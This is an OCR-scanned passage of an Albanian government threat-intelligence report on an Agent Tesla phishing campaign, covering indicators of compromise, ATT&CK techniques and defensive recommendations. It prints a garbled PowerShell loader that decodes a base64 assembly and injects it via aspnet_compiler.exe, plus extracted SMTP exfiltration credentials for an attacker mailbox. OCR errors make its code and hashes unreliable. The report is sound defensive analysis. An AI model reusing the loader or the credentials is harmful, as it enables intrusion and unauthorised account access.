[string]$MonitorProcessName = "Aspnet_ compiler”,

[int] $CheckIntervalSeconds = 5
) file.dll [

do {
if (Test-ProcessRbsent -ProcessName $MonitorProcessName) {
# Decode the baseé4 encoded assembly
| §decodedisserblyBytes = [System.Convert]::FromBasesdString | ' TVgQQARMARAAFARAL//SAALgRA AR R ORA LA DA AR AR AADARDADD,
# Define the target framework tool path
§$frameworkToclPath = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe'

ARARAANAARARAD

# Prepare method invocation parameters

$invocationParameters = [object[]]@($frameworkToolPath, $ExecutionPayload)
# Execute the assembly methed
gexecutionResult = Invcke-ManagedAssembly -RawAssemblyBytes $decodedAssemblyBytes °

-TargetTypeName 'BLACKHAWK.DOWN' *
-TargetMethodName 'SHOOT' *
-MethodArguments $invecaticnParameters
# Update payload for next iteration
{Byte[]]SExecutionPayload =) (77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184,0,0,0,0,0,0,0, 64,0,0,0,0,90,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,

}
Wait before heck \
o e i file.exe [4784b4ccfttazaci541cd91887590848e8bc 7c9fdb463a00b4d 7583811926 1 |

Start-Sleep -Seccnds $CheckIntervalSeco:
} while ($true)

# Start the monitoring oro s

Figura 1414: 2 skedarét pér ngarkesén finale.

Né procesin final , ekstraktohen 2 skedarét keqdashés qé kryejné rolin ¢ Agent Tesla dhe injektohen
népérmjet aspnet_compiler.exe né hostin e infektuar.

Skedari .dll ka vleré HASH
122d9dfleead4f711fe7elda9adee6bf254d39131f528687a4344831784db28ab

Skedari .exe ka vleré HASH
4784b4ccfff92ac1541¢d91887590848e8bc7¢9fdb463a00b4d7583811926¢1
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Faza 4 — Skedari .exe

N¢é procesin e Reverse Engineering té skedarit .exe, evidentohen artifaktet se ky skedar &shté
aktualisht Agent Tesla dhe kryen vjedhjen e informacioneve té pérdoruesit.

v X GSK3L3WMyH X
b05g +

Info directoryInfo2 in directoryInfo.

Info directoryInfo3 in directoryInfo2.GetD

CH

pty(inner

(innerText), DataPr
(innerText.

A Y T VPV YV YVYV Y YYTYY TS
w2222

Figura 1515: Pjesé kodi e marré nga skedari .exe.

Nga dekodimi i konfigurimit t€ skedarit .exe u zbuluan t€ dhénat t€ cilat pérdoren pér eksfiltrimin e t&
dhénave t€ cilat jan€ ruajtur n€ njé folder t€ pérkohshém né kompjuterin e infektuar.

Protokolli i cili pérdoret €shté SMTP — 587 dhe pérdoren email : sender/(@]ariapi[.]com dhe passwordi
pérkates. Email i marrésit Esht€ nwekejj77295[/@]gmail[.]com.

B |Malware Config I A

Extracted

Family agenttesla

Credentials
Protocol: smtp
Host:
ariapi.com
Port:
587
Username:
Password:
KL!i*Mo3V3pg48

Email To:
nwekejj77295@gmail.com

Decoded Text

{'‘AgentTesla": {'Protocol": ['SMTP'], 'Port': ['587'], "CNCs": [['ariapi.com']], 'Username": ['sender@ariapi.com'], 'Password": ['KLli+Mo3V3pq48'], 'EmailTo":

['nwekejj77295@gmail.com'], 'Persistence_Filename': ['GLOZV.J.exe']}}

< {"Exfil Mode": "SMTP", "Port": "587", "Host": "ariapi.com", "Username": "sender@ariapi.com", "Password": "KLli+Mo3V3pq48"}

Figura 16:Detajet nga struktura e malware.
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Inteligjenca kibernetike (Threat Intelligence)

Nga platformat Threat Intelligence éshté evidentuar se me té njéjtin dérgues jané shpérndaré dhe
skedar€ t€ tjeré keqdash&s. N& kéto fushata pérdoren t€ njéjtat Teknika, Taktika dhe Procedura.
Username i p€rdorur €shté “sender@ariapi[.]com” me password “KL!i+Mo3V3pq48”.

N¢é mailbox-in e késaj llogarie mund t€ gjenden email-et, n€ t€ cilén jané dérguar kéto file, por q€ nuk
kané mbérritur né destinacion. Numri total i email g€ nuk kan€ mbérritur né€ destinacion, deri n€ datén
06/11/2025 €shté 11302.

@ 7002 M8/ 250MB

Manage Disk Usage

This utility allows you to recover disk space by deleting old messages from your mailbox

search:

Actions

sent 2 798 bytes v Man:

cPanel

Figura 1717: Totali i email qé ndodhen aktualisht né kété llogari.

Rezulton se email i paré q€ nuk ka mbérritur né destinacion éshté né datén 02/10/2025 né orén
11:42.

sender@ariapi.com
11200 dalaies 8 5
Q ¥ Mail delivery failed: returning message to sender

02 11:42
 Mail delivery failed: retuming messa

[} Part3.eml

T

OFFICIAL COURT ORDER WARNING!!

To
Date 202510021142

Figura 1818: Email i paré qé nuk ka mbérritur né destinacion.

N¢ folderin Sent, evidentohen 2 email vet€ém me tekst, por nuk gjenden email drejt t€ cilave
jané nisur email me filet keqdashés nga ku vértetohet se aktorét keqdashés pérdorin metodén e
SMTP relay.
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hi there

From

- v

Date 2025-10-28 18:45

Figura 1919: Email-et né folderin Sent.

Message headers

MIME-Version: 1.0

Date: Tue, 28 Oct 2025 19:17:35 +0330

From: sender@ariapi.com
To: honeyyppott117@gmail.com
Subject: Kindly find attached

User-Agent: Roundcube Webmail/1.6.11
Message-ID: <6c7614cfeef56b67a2c92ea1a0b16391@ariapi.com>

X-Sender: sender@ariapi.com

Content-Type: text/plain; charset=US-ASCII;

format=flowed
Content-Transfer-Encoding: 7bit

Figura 2020: Header i email gé gjendet tek Sent.

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Passive DNS Replication (6) O

Date resolved Detections Resolver
2020-11-11 0/95 VirusTotal
2020-11-01 0/95 VirusTotal
2019-11-30 0/95 VirusTotal
2018-12-26 0/95 VirusTotal
2018-12-26 0/95 VirusTotal
2016-04-08 0/95 VirusTotal

Subdomains (3) ©

o

»
185.159.153.76
1855039212
95.216.235.93
185.128.81.175
£3.99.130.78

87.247.179.81

[a]

ariapi.com 0/95 18515015376 1855030212 9521623593
www.ariapi.com 0/95 185.159.153.76 16.235.9 185.128.81.170

mail.ariapi.com 0/95 185.150.153.76 16.235.9 185.128.81.56

Communicating Files (28) O o
Scanned Detections Type Name

2025-08-19 35 /67 2P Swifto096782781 78 2ip

2025-11-03 28 /58 VBA _16d1f0829 6besal 045Ce925¢56d50c1086.txt

2025-11-06 24 /66 P 9009832772873 zip

2025-11-06 33 /58 VBA P09092893893 VBE.vbe

2025-10-29 23 /66 P 0990987676665.2ip

2025-10-11 57/72 Win32 EXE order pdfexe

2025-10-11 55 /72 Win32 EXE 6lkzisg.exe

2025-11-06 60 /72 Win32 EXE e8aedcc3-dacs-429a-ad46-d51bb0595a38 exe

2025-08-23 53 /72 Win32 EXE euub67.exe

2025-10-11 56 /72 Win32 EXE order pdfexe

Figura 21: Vlerésimi i ariapif.]com sipas Virustotal.

Adresa: Rruga “Papa Gjon Pali II”, Nr. 3, Kati 1, Tirang;
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Skedaré té tjeré té cilét jané shpérndaré me k&t adresé email jané:

9009278378273 .tar
1928b930401c448300eaadbe410c49d7524799¢e483cfe8c5dd26318bbf7tb6

e8aedcc3-dac5-429a-ad46-d51bb0595a38.exe
4784b4ccfff92ac¢1541¢d91887590848e8bc7¢9fdb463a00b4d75838111926¢1

P0O9092893893.VBE.vbe
353de3dcd8a4965¢9caa619b9cbb0e3e90f1dSb132f75d9b5d8d0d7408b488¢6

0990987676665.VBE
8e¢7b5900789dd8e¢2145¢8e838bSd4b459eff2fafd0ef8ea28a4balbcf7e2{19

SWIFT90097838828.PDF.VBE.vbe
Aedaa922b2285f96243bcbfa0e0381472192677519645d01dcded4bac373f2eb

order pdf.exe
a6bd76580c2b907fa0b7daclabfaeaf4c4e¢97930bcc8518338de2160cdf10dc2

Indikatorét e kompromitetit

1928b930401c448300eaadbe410c49d7524799¢e483cfe8c5dd26318bbf7tb6
9009278378273 .tar

c2e2aca284¢580998ef1b134ebe9f8a26e8c38adaab3505f872c4ce9cle3aldda
9009278378273.vbe

4784b4ccfff92ac1541c¢d91887590848e8bc7¢9fdb463a00b4d75838111926¢1
eRaedcc3-dac5-429a-ad46-d51bb0595a38.exe

122d9dfleead4f711fe7elda9adee6bf254d39f31f52868724344831784db28ab
BLACKHAWK.dll

Cd93a2a05¢607121963b211349994b39ac53e5e7fb3e2cd0fe190dd75ebeb4c95
e870d5b19d8160dcecaf77b1016612ae4bb477¢59589ea3818f5d5299¢52¢c4f55

a6bd76580c2b907fa0b7daclabfaeaf4c4e97930bcc8518338de2160cdf10dc2
order pdf.exe

8e¢7b5900789ddf8e¢2145e8e838b5d4b459eff2fafd0ef8ea28a4balbcf7e21f9
0990987676665.VBE

Adresa: Rruga “Papa Gjon Pali II”, Nr. 3, Kati 1, Tirang;
Faqe web: www.aksk.gov.al E-mail: info@aksk.gov.al
Tel./Fax: 04 2221 039
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353de3dcd8a4965¢9caa619b9cbb0e3e¢90f1dSb132f75d9bSd8d0d7408b488¢6

P09092893893.VBE.vbe

Aedaa922b2285f96243bcbfa0e03814721926775f19645d01dcded4bac373f2eb

SWIFT90097838828.PDF.VBE.vbe

1P:
185[.]159[.]153[.]76

Email:

sender@ariapi[.]Jcom
nwekejj77295@gmail[.]Jcom
muhasebe[ (@ Jerbulklima[.]com[.]tr

Teknikat e MITRE ATT&CK

Nr Taktika

Teknika

1 Resource Development

T1064: Scripting

T1047: Windows Management Instrumentation

2 Execution

T1203: Exploitation for Client Execution

T1059.001: PowerShell

T1064: Scripting

3 Persistence

T1574.002:DLL Side-Loading

T1176: Browser Extensions

T1574.002:DLL Side-Loading

4 Privilege Escalation

T1055: Process Injection

T1562.001: Disable or Modify Tools

T1140: Deobfuscate/Decode Files or
Information

T1027: Obfuscated Files or Information

5 Defense Evasion

T1574.002:DLL Side-Loading

T1036: Masquerading

T1497: Virtualization/Sandbox Evasion

T1055: Process Injection

T1003: OS Credential Dumping

T1056: Input Capture

T1555: Credentials from Password Stores

6 Credential Access

T1555.003: Credentials from Web Browsers

T1552: Unsecured Credentials

T1552.001: Credentials In Files

T1552.002: Credentials in Registry

Adresa: Rruga

“Papa Gjon Pali I1”, Nr. 3, Kati 1, Tirané;
Faqe web: www.aksk.gov.al E-mail: info@aksk.gov.al
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T1083: File and Directory Discovery
T1082: System Information Discovery
T1518.001: Security Software Discovery

4 Discovery T1057: Process Discovery
T1497: Virtualization/Sandbox Evasion
T1010: Application Window Discovery
T1560: Archive Collected Data
. T1005: Data from Local System
8 Collection

T1114: Email Collection
T1056: Input Capture

T1573: Encrypted Channel

T1571: Non-Standard Port

T1095: Non-Application Layer Protocol
T1071: Application Layer Protocol

9 Command and Control

Rekomandime

Bllokimin e menjéhershém té Indikatoréve t€ Kompromentimit, t€ pérmendura mé sipér né
pajisjet tuaja mbrojtése.

Analizimin e vazhdueshém t€ logeve qé vijné nga SIEM (Security information and Event
Management).

Trajnimin e stafit jo-teknik rreth sulmeve “Phishing” si dhe ményrat e shmangies sé&
infektimit prej tyre.

Instalimin e pajisjeve té perimetrit t€ rrjetit q€¢ b&jné analizé té thellé té trafikut duke u
mbéshtetur jo vetém né rregullat e listave t€ aksesit por edhe né sjelljen e tij (Firewall-et
NextGen).

Sistemet e evidentuara t€ segmentohen né VLAN-e t&€ ndryshme, duke aplikuar “Access
control list pér t€ gjithé perimetrin e rrjetit”, webserviset duhet té jené t€ ndaré€ nga Databaza
e tyre, Active Directory duhet té jet€ n€ njé VLAN té ndaré.

Aplikimin dhe pérdorimin e teknikés LAPS pér sistemet Microsoft, pér menagjimin e
fjalékalimeve t€ Administratoréve Lokal.

T€ aplikohen filtra té trafikut n€ rastin e aksesimit né€ distancé t€ hosteve (punonjésve/palé
té treta/klienté).

Té implementohen zgjidhje g€ kryen filtrimin, monitorimin dhe bllokimin e trafikut
keqdashés ndérmjet aplikacioneve Web dhe internetit, Web Application Firewall (WAF).

Adresa: Rruga “Papa Gjon Pali II”, Nr. 3, Kati 1, Tirang;
Faqe web: www.aksk.gov.al E-mail: info@aksk.gov.al
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T€ kryhen analiza t€ trafikut n€ nivel sjellje “behaviour” pér pajisjet fundore, aplikimi i
zgjidhjeve EDR, XDR. Kjo sjell analizén e skedaréve keqdashés jo vetém né nivel signature
por dhe né nivel behaviour.

TE projektohet zgjidhja pér menaxhimin e aksesit t&€ pérdoruesve “Identity Access
Management” pér t€ kontrolluar identitetin dhe privilegjet e pérdoruesve né kohé reale
sipas parimit “zero-trust”.
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